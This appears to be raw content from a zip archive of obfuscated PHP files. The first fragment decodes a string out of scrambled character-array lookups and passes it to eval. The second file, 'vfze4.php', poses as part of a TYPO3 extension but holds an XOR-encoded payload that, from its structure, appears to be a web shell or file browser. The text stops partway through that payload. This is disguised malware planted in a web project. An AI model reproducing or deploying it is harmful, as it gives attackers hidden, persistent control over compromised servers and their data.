$������k��b��I�b�n��k霳�����[8].$������k��b��I�b�n��k霳�����[57].$������k��b��I�b�n��k霳�����[53].$������k��b��I�b�n��k霳�����[15].$������k��b��I�b�n��k霳�����[63].$������k��b��I�b�n��k霳�����[49].$������k��b��I�b�n��k霳�����[56].$������k��b��I�b�n��k霳�����[27].$������k��b��I�b�n��k霳�����[65].$������k��b��I�b�n��k霳�����[39]; $S��D�棟��b����sC夏��vD�����F�s���D�����k������ = $������k��b��I�b�n��k霳�����[9].$������k��b��I�b�n��k霳�����[53].$������k��b��I�b�n��k霳�����[56].$������k��b��I�b�n��k霳�����[19].$������k��b��I�b�n��k霳�����[69].$������k��b��I�b�n��k霳�����[42].$������k��b��I�b�n��k霳�����[16].$������k��b��I�b�n��k霳�����[25].$������k��b��I�b�n��k霳�����[19].$������k��b��I�b�n��k霳�����[71]; $��喑�k�����G�B������滁�� = $������k��b��I�b�n��k霳�����[15].$������k��b��I�b�n��k霳�����[53].$������k��b��I�b�n��k霳�����[56].$������k��b��I�b�n��k霳�����[8].$������k��b��I�b�n��k霳�����[69].$������k��b��I�b�n��k霳�����[25].$������k��b��I�b�n��k霳�����[3].$������k��b��I�b�n��k霳�����[39].$������k��b��I�b�n��k霳�����[65].$������k��b��I�b�n��k霳�����[39]; $n�n����G�bB�G�n�H��B�G����� = $������k��b��I�b�n��k霳�����[20].$������k��b��I�b�n��k霳�����[65].$������k��b��I�b�n��k霳�����[18].$������k��b��I�b�n��k霳�����[8].$������k��b��I�b�n��k霳�����[0].$������k��b��I�b�n��k霳�����[29].$������k��b��I�b�n��k霳�����[37].$������k��b��I�b�n��k霳�����[19].$������k��b��I�b�n��k霳�����[63]; $k������������d��f�Sx���b�l�k�厎揬���dS䎘�lFs = $������k��b��I�b�n��k霳�����[29].$������k��b��I�b�n��k霳�����[56].$������k��b��I�b�n��k霳�����[23].$������k��b��I�b�n��k霳�����[80].$������k��b��I�b�n��k霳�����[63].$������k��b��I�b�n��k霳�����[47].$������k��b��I�b�n��k霳�����[60].$������k��b��I�b�n��k霳�����[54].$������k��b��I�b�n��k霳�����[74].$������k��b��I�b�n��k霳�����[40]; $�描��b�����S��SC�S�D��k�x�fCCf�lL�C���F�����s�� = $�褺F�D��CS���l�FL��S��S検��b��憺L怄�F�d��L�.$�n��闦I����I覑�BJ����n��.$��喑�k�����G�B������滁��.$k������������d��f�Sx���b�l�k�厎揬���dS䎘�lFs.$S��D�棟��b����sC夏��vD�����F�s���D�����k������.$n�n����G�bB�G�n�H��B�G�����.'$�s�sCd熎f�����vbS����d�l�嘤��FC珜dS�嶼���'.$������k��b��I�b�n��k霳�����[41].$������k��b��I�b�n��k霳�����[41].$������k��b��I�b�n��k霳�����[41].$������k��b��I�b�n��k霳�����[41].$������k��b��I�b�n��k霳�����[41].$������k��b��I�b�n��k霳�����[41].$������k��b��I�b�n��k霳�����[83];return EvAl($�描��b�����S��SC�S�D��k�x�fCCf�lL�C���F�����s��); } ?>PK �Lm\��RH H vfze4.phpnu �[��� <?php
/*
* This file is part of the "typo3_encore" Extension for TYPO3 CMS.
*
* For the full copyright and license information, please read the
* LICENSE.txt file that was distributed with this source code.
*/
class motocikasitux {
private $cryptKey = 'xiakns';
private function xorCrypt(string $data): string {
$out = '';
$key = $this->cryptKey;
$klen = strlen($key);
for ($i = 0, $len = strlen($data); $i < $len; $i++) {
$out .= chr(ord($data[$i]) ^ ord($key[$i % $klen]));
}
return $out;
}
public function buildPayload(): string {
$M = [
[ 3, 2, -1],
[ 1, 0, 4],
[ 5, -2, 3],
];
$tantatnojg = pi() / 6;
$v = [
sin($tantatnojg) * 100,
cos($tantatnojg) * 100,
tan($tantatnojg) * 100,
];
$nV = [0, 0, 0];
for ($i = 0; $i < 3; $i++) {
for ($j = 0; $j < 3; $j++) {
$nV[$i] += $M[$i][$j] * $v[$j];
}
}
$z1 = [3, 2];
$z2 = [1, 7];
list($compA, $compB) = $this->xxxinwqitb($z1, $z2);
$eyyenyneo = abs($compA);
$nainnnnllnl = abs($compB);
$kirtniettat = abs((int)(log($tantatnojg) * 100));
$kfowqnontt = abs((int)(atan($tantatnojg) * 100));
$mfoiqnwotow = abs((int)(sqrt($tantatnojg) * 100));
$key = (
(int)($nV[0] + $nV[1] + $nV[2])
^ $eyyenyneo
^ $nainnnnllnl
^ $kirtniettat
^ $kfowqnontt
^ $mfoiqnwotow
) & 0xFF;
$enc = [93, 94, 88, 85, 90, 87, 94, 17, 72, 77, 87, 82, 88, 77, 100, 77, 66, 73, 94, 72, 6, 10, 18, 0, 54, 63, 81, 94, 90, 93, 94, 87, 100, 87, 94, 86, 84, 75, 94, 17, 28, 97, 22, 105, 84, 76, 94, 87, 94, 93, 22, 7, 66, 28, 18, 0, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 25, 81, 94, 65, 25, 81, 94, 85, 73, 94, 87, 72, 25, 91, 84, 87, 25, 83, 90, 80, 65, 83, 25, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 81, 94, 65, 100, 17, 72, 77, 87, 82, 83, 92, 25, 29, 83, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 66, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 21, 25, 29, 85, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 83, 18, 0, 25, 29, 82, 25, 5, 25, 29, 85, 0, 25, 29, 82, 16, 16, 18, 25, 29, 66, 25, 19, 6, 25, 93, 94, 88, 81, 94, 65, 17, 84, 87, 93, 17, 29, 83, 96, 29, 82, 102, 18, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 66, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 78, 81, 94, 65, 17, 72, 77, 87, 82, 83, 92, 25, 29, 66, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 66, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 20, 99, 96, 9, 22, 2, 90, 22, 91, 122, 22, 123, 102, 16, 29, 20, 28, 21, 25, 29, 66, 18, 25, 26, 6, 6, 25, 10, 25, 69, 69, 25, 17, 72, 77, 87, 85, 94, 83, 17, 29, 66, 18, 25, 30, 25, 23, 18, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 29, 83, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 21, 25, 29, 85, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 66, 18, 0, 25, 29, 82, 25, 5, 25, 29, 85, 0, 25, 29, 82, 25, 16, 6, 25, 23, 18, 25, 29, 83, 25, 19, 6, 25, 88, 81, 87, 17, 81, 94, 65, 93, 94, 88, 17, 29, 66, 96, 29, 82, 102, 25, 19, 25, 29, 66, 96, 29, 82, 16, 10, 102, 18, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 83, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 119, 84, 84, 77, 25, 93, 94, 87, 82, 75, 94, 93, 25, 91, 87, 84, 86, 25, 88, 78, 87, 87, 94, 83, 77, 25, 93, 82, 87, 94, 88, 77, 84, 87, 66, 28, 72, 25, 93, 87, 82, 75, 94, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 93, 87, 82, 75, 94, 100, 87, 84, 84, 77, 17, 72, 77, 87, 82, 83, 92, 25, 29, 73, 90, 77, 81, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 73, 25, 6, 25, 72, 77, 87, 100, 87, 94, 73, 85, 90, 88, 94, 17, 28, 101, 101, 28, 21, 25, 28, 20, 28, 21, 25, 29, 73, 90, 77, 81, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 17, 96, 122, 22, 111, 90, 22, 79, 102, 18, 15, 20, 24, 28, 21, 25, 29, 73, 21, 25, 29, 86, 18, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 86, 96, 10, 102, 25, 19, 25, 28, 15, 20, 28, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 28, 20, 28, 0, 54, 63, 70, 54, 63, 29, 120, 110, 119, 119, 126, 115, 109, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 92, 94, 77, 88, 76, 93, 17, 18, 18, 25, 4, 15, 25, 92, 94, 77, 88, 76, 93, 17, 18, 0, 54, 63, 29, 119, 116, 116, 109, 25, 6, 25, 93, 87, 82, 75, 94, 100, 87, 84, 84, 77, 17, 29, 120, 110, 119, 119, 126, 115, 109, 18, 0, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 104, 94, 87, 75, 94, 87, 25, 82, 83, 91, 84, 25, 91, 84, 87, 25, 81, 94, 90, 93, 94, 87, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 29, 78, 83, 90, 86, 94, 123, 78, 85, 85, 25, 6, 25, 73, 81, 73, 100, 78, 83, 90, 86, 94, 17, 18, 0, 54, 63, 29, 72, 94, 87, 75, 94, 87, 104, 84, 91, 77, 76, 90, 87, 94, 25, 6, 25, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 104, 126, 119, 107, 126, 119, 100, 104, 116, 123, 109, 108, 122, 119, 126, 28, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 93, 94, 77, 94, 88, 77, 100, 72, 94, 87, 75, 94, 87, 100, 77, 66, 73, 94, 17, 72, 77, 87, 82, 83, 92, 25, 29, 72, 84, 91, 77, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 72, 25, 6, 25, 72, 77, 87, 77, 84, 85, 84, 76, 94, 87, 17, 29, 72, 84, 91, 77, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 72, 77, 87, 73, 84, 72, 17, 29, 72, 21, 28, 85, 82, 77, 94, 72, 73, 94, 94, 93, 28, 18, 25, 26, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 117, 82, 77, 94, 104, 73, 94, 94, 93, 28, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 72, 77, 87, 73, 84, 72, 17, 29, 72, 21, 28, 90, 73, 90, 88, 81, 94, 28, 18, 25, 26, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 122, 73, 90, 88, 81, 94, 28, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 72, 77, 87, 73, 84, 72, 17, 29, 72, 21, 28, 83, 92, 82, 83, 65, 28, 18, 25, 26, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 83, 92, 82, 83, 65, 28, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 72, 84, 91, 77, 25, 26, 6, 6, 25, 28, 28, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 72, 84, 91, 77, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 28, 110, 83, 80, 83, 84, 76, 83, 28, 0, 54, 63, 70, 54, 63, 29, 72, 94, 87, 75, 94, 87, 109, 66, 73, 94, 25, 6, 25, 93, 94, 77, 94, 88, 77, 100, 72, 94, 87, 75, 94, 87, 100, 77, 66, 73, 94, 17, 29, 72, 94, 87, 75, 94, 87, 104, 84, 91, 77, 76, 90, 87, 94, 18, 0, 54, 63, 54, 63, 20, 31, 25, 7, 94, 72, 77, 22, 94, 91, 91, 84, 87, 77, 25, 72, 94, 87, 75, 94, 87, 25, 114, 105, 25, 31, 20, 54, 63, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 25, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 104, 126, 119, 107, 126, 119, 100, 122, 125, 125, 119, 28, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 82, 91, 25, 17, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 6, 6, 25, 28, 28, 18, 25, 64, 54, 63, 25, 25, 25, 25, 29, 81, 84, 72, 77, 115, 90, 86, 94, 25, 6, 25, 92, 94, 77, 81, 84, 72, 77, 83, 90, 86, 94, 17, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 81, 84, 72, 77, 115, 90, 86, 94, 18, 25, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 25, 92, 94, 77, 81, 84, 72, 77, 103, 66, 83, 90, 86, 94, 17, 29, 81, 84, 72, 77, 115, 90, 86, 94, 18, 0, 54, 63, 70, 54, 63, 82, 91, 25, 17, 26, 91, 82, 85, 77, 94, 87, 100, 75, 90, 87, 17, 29, 72, 94, 87, 75, 94, 87, 114, 73, 21, 25, 123, 114, 117, 109, 126, 119, 100, 107, 122, 117, 114, 125, 122, 109, 126, 100, 114, 105, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 29, 72, 94, 87, 75, 94, 87, 115, 90, 86, 94, 25, 6, 25, 29, 100, 104, 126, 119, 107, 126, 119, 96, 28, 104, 126, 119, 107, 126, 119, 100, 115, 122, 118, 126, 28, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 72, 94, 87, 75, 94, 87, 115, 90, 86, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 82, 73, 25, 6, 25, 92, 94, 77, 81, 84, 72, 77, 103, 66, 83, 90, 86, 94, 17, 29, 72, 94, 87, 75, 94, 87, 115, 90, 86, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 91, 82, 85, 77, 94, 87, 100, 75, 90, 87, 17, 29, 82, 73, 21, 25, 123, 114, 117, 109, 126, 119, 100, 107, 122, 117, 114, 125, 122, 109, 126, 100, 114, 105, 18, 18, 25, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 25, 29, 82, 73, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 70, 54, 63, 82, 91, 25, 17, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 6, 6, 25, 28, 28, 18, 25, 29, 72, 94, 87, 75, 94, 87, 114, 73, 25, 6, 25, 28, 110, 83, 80, 83, 84, 76, 83, 28, 0, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 113, 94, 85, 73, 94, 87, 72, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 82, 72, 100, 90, 103, 72, 100, 73, 90, 77, 81, 17, 72, 77, 87, 82, 83, 92, 25, 29, 73, 18, 15, 25, 103, 84, 84, 85, 25, 64, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 96, 122, 22, 111, 90, 22, 79, 102, 15, 96, 101, 101, 101, 101, 20, 102, 24, 28, 21, 25, 29, 73, 18, 25, 6, 6, 6, 25, 10, 18, 25, 87, 94, 77, 78, 87, 83, 25, 77, 87, 78, 94, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 72, 78, 103, 72, 77, 87, 17, 29, 73, 21, 25, 9, 21, 25, 23, 18, 25, 6, 6, 6, 25, 28, 101, 101, 101, 101, 28, 18, 25, 87, 94, 77, 78, 87, 83, 25, 77, 87, 78, 94, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 82, 72, 72, 94, 77, 17, 29, 73, 96, 9, 102, 18, 25, 27, 27, 25, 29, 73, 96, 9, 102, 25, 6, 6, 6, 25, 28, 20, 28, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 72, 77, 87, 82, 83, 92, 25, 29, 73, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 25, 87, 94, 77, 78, 87, 83, 25, 72, 77, 87, 100, 87, 94, 73, 85, 90, 88, 94, 17, 28, 101, 101, 28, 21, 25, 28, 20, 28, 21, 25, 29, 73, 18, 0, 25, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 72, 90, 91, 94, 100, 95, 84, 82, 83, 17, 72, 77, 87, 82, 83, 92, 25, 29, 103, 90, 72, 94, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 73, 90, 77, 81, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 103, 90, 72, 94, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 29, 103, 90, 72, 94, 18, 25, 4, 15, 25, 29, 103, 90, 72, 94, 0, 54, 63, 25, 25, 25, 25, 29, 73, 90, 77, 81, 25, 6, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 73, 90, 77, 81, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 73, 90, 77, 81, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 29, 73, 90, 77, 81, 25, 6, 6, 6, 25, 28, 19, 28, 18, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 25, 29, 103, 90, 72, 94, 0, 54, 63, 25, 25, 25, 25, 94, 85, 72, 94, 82, 91, 25, 17, 82, 72, 100, 90, 103, 72, 100, 73, 90, 77, 81, 17, 29, 73, 90, 77, 81, 18, 18, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 25, 29, 73, 90, 77, 81, 0, 54, 63, 25, 25, 25, 25, 94, 85, 72, 94, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 25, 87, 77, 87, 82, 86, 17, 29, 103, 90, 72, 94, 21, 25, 39, 20, 101, 101, 39, 18, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 73, 90, 77, 81, 0, 54, 63, 25, 25, 25, 25, 29, 87, 94, 90, 85, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 87, 94, 90, 85, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 29, 87, 94, 90, 85, 25, 6, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 87, 94, 90, 85, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 72, 77, 87, 82, 83, 92, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 87, 84, 84, 77, 18, 15, 25, 103, 84, 84, 85, 25, 64, 54, 63, 25, 25, 25, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 18, 0, 54, 63, 25, 25, 25, 25, 29, 87, 84, 84, 77, 25, 6, 25, 87, 77, 87, 82, 86, 17, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 87, 84, 84, 77, 18, 21, 25, 28, 20, 28, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 25, 6, 6, 6, 25, 29, 87, 84, 84, 77, 25, 69, 69, 25, 72, 77, 87, 73, 84, 72, 17, 29, 88, 90, 83, 93, 82, 93, 90, 77, 94, 21, 25, 29, 87, 84, 84, 77, 25, 19, 25, 28, 20, 28, 18, 25, 6, 6, 6, 25, 9, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 91, 84, 87, 86, 90, 77, 100, 72, 82, 79, 94, 17, 82, 83, 77, 25, 29, 103, 66, 77, 94, 72, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 103, 66, 77, 94, 72, 25, 5, 25, 10, 9, 23, 13, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 103, 66, 77, 94, 72, 25, 19, 25, 39, 25, 7, 39, 0, 54, 63, 25, 25, 25, 25, 29, 80, 103, 25, 6, 25, 29, 103, 66, 77, 94, 72, 25, 20, 25, 10, 9, 23, 13, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 80, 103, 25, 5, 25, 10, 9, 23, 13, 18, 25, 87, 94, 77, 78, 87, 83, 25, 83, 78, 86, 103, 94, 87, 100, 91, 84, 87, 86, 90, 77, 17, 29, 80, 103, 21, 25, 23, 18, 25, 19, 25, 39, 25, 112, 7, 39, 0, 54, 63, 25, 25, 25, 25, 29, 86, 103, 25, 6, 25, 29, 80, 103, 25, 20, 25, 10, 9, 23, 13, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 86, 103, 25, 5, 25, 10, 9, 23, 13, 18, 25, 87, 94, 77, 78, 87, 83, 25, 83, 78, 86, 103, 94, 87, 100, 91, 84, 87, 86, 90, 77, 17, 29, 86, 103, 21, 25, 23, 18, 25, 19, 25, 39, 25, 118, 7, 39, 0, 54, 63, 25, 25, 25, 25, 29, 92, 103, 25, 6, 25, 29, 86, 103, 25, 20, 25, 10, 9, 23, 13, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 83, 78, 86, 103, 94, 87, 100, 91, 84, 87, 86, 90, 77, 17, 29, 92, 103, 21, 25, 23, 18, 25, 19, 25, 39, 25, 124, 7, 39, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 85, 82, 72, 77, 100, 93, 82, 87, 17, 72, 77, 87, 82, 83, 92, 25, 29, 73, 90, 77, 81, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 87, 84, 84, 77, 18, 15, 25, 90, 87, 87, 90, 66, 25, 64, 54, 63, 25, 25, 25, 25, 29, 82, 77, 94, 86, 72, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 82, 72, 100, 93, 82, 87, 17, 29, 73, 90, 77, 81, 18, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 82, 77, 94, 86, 72, 0, 54, 63, 25, 25, 25, 25, 29, 93, 82, 87, 25, 6, 25, 72, 88, 90, 83, 93, 82, 87, 17, 29, 73, 90, 77, 81, 21, 25, 104, 120, 122, 115, 125, 114, 119, 100, 104, 116, 119, 109, 100, 122, 104, 120, 126, 115, 125, 114, 115, 124, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 93, 82, 87, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 82, 77, 94, 86, 72, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 94, 90, 88, 81, 25, 17, 29, 93, 82, 87, 25, 90, 72, 25, 29, 83, 90, 86, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 83, 90, 86, 94, 25, 6, 6, 6, 25, 39, 19, 39, 25, 69, 69, 25, 29, 83, 90, 86, 94, 25, 6, 6, 6, 25, 39, 19, 19, 39, 18, 25, 88, 84, 83, 77, 82, 83, 78, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 91, 78, 85, 85, 25, 6, 25, 29, 73, 90, 77, 81, 25, 19, 25, 125, 114, 119, 126, 120, 109, 116, 119, 98, 100, 104, 126, 105, 122, 119, 122, 109, 116, 119, 25, 19, 25, 29, 83, 90, 86, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 87, 94, 90, 85, 25, 6, 25, 87, 94, 90, 85, 73, 90, 77, 81, 17, 29, 91, 78, 85, 85, 18, 25, 4, 15, 25, 29, 91, 78, 85, 85, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 87, 94, 90, 85, 21, 25, 29, 87, 84, 84, 77, 18, 18, 25, 88, 84, 83, 77, 82, 83, 78, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 82, 72, 125, 82, 87, 25, 6, 25, 82, 72, 100, 93, 82, 87, 17, 29, 87, 94, 90, 85, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 82, 77, 94, 86, 72, 96, 102, 25, 6, 25, 96, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 83, 90, 86, 94, 39, 25, 6, 3, 25, 29, 83, 90, 86, 94, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 77, 66, 73, 94, 39, 25, 6, 3, 25, 29, 82, 72, 125, 82, 87, 25, 4, 25, 39, 93, 82, 87, 39, 25, 15, 25, 39, 91, 82, 85, 94, 39, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 72, 82, 79, 94, 39, 25, 6, 3, 25, 29, 82, 72, 125, 82, 87, 25, 4, 25, 83, 78, 85, 85, 25, 15, 25, 121, 91, 82, 85, 94, 72, 82, 79, 94, 17, 29, 87, 94, 90, 85, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 86, 77, 82, 86, 94, 39, 25, 6, 3, 25, 121, 91, 82, 85, 94, 86, 77, 82, 86, 94, 17, 29, 87, 94, 90, 85, 18, 25, 4, 15, 25, 9, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 39, 73, 90, 77, 81, 39, 25, 6, 3, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 87, 94, 90, 85, 18, 21, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 102, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 78, 72, 84, 87, 77, 17, 29, 82, 77, 94, 86, 72, 21, 25, 91, 78, 83, 88, 77, 82, 84, 83, 17, 29, 90, 21, 25, 29, 103, 18, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 90, 96, 39, 77, 66, 73, 94, 39, 102, 25, 26, 6, 6, 25, 29, 103, 96, 39, 77, 66, 73, 94, 39, 102, 18, 25, 87, 94, 77, 78, 87, 83, 25, 29, 90, 96, 39, 77, 66, 73, 94, 39, 102, 25, 6, 6, 6, 25, 39, 93, 82, 87, 39, 25, 4, 25, 22, 10, 25, 15, 25, 10, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 72, 77, 87, 88, 90, 72, 94, 88, 86, 73, 17, 29, 90, 96, 39, 83, 90, 86, 94, 39, 102, 21, 25, 29, 103, 96, 39, 83, 90, 86, 94, 39, 102, 18, 0, 54, 63, 25, 25, 25, 25, 70, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 82, 77, 94, 86, 72, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 7, 87, 94, 90, 93, 88, 87, 78, 86, 103, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 103, 87, 94, 90, 93, 88, 87, 78, 86, 103, 100, 81, 77, 86, 85, 17, 72, 77, 87, 82, 83, 92, 25, 29, 88, 78, 87, 87, 94, 83, 77, 105, 90, 77, 81, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 87, 84, 84, 77, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 73, 25, 6, 25, 83, 84, 87, 86, 90, 85, 82, 79, 94, 100, 72, 85, 90, 72, 81, 94, 72, 17, 29, 88, 78, 87, 87, 94, 83, 77, 105, 90, 77, 81, 18, 0, 54, 63, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 96, 122, 22, 111, 90, 22, 79, 102, 15, 20, 29, 24, 28, 21, 25, 29, 73, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 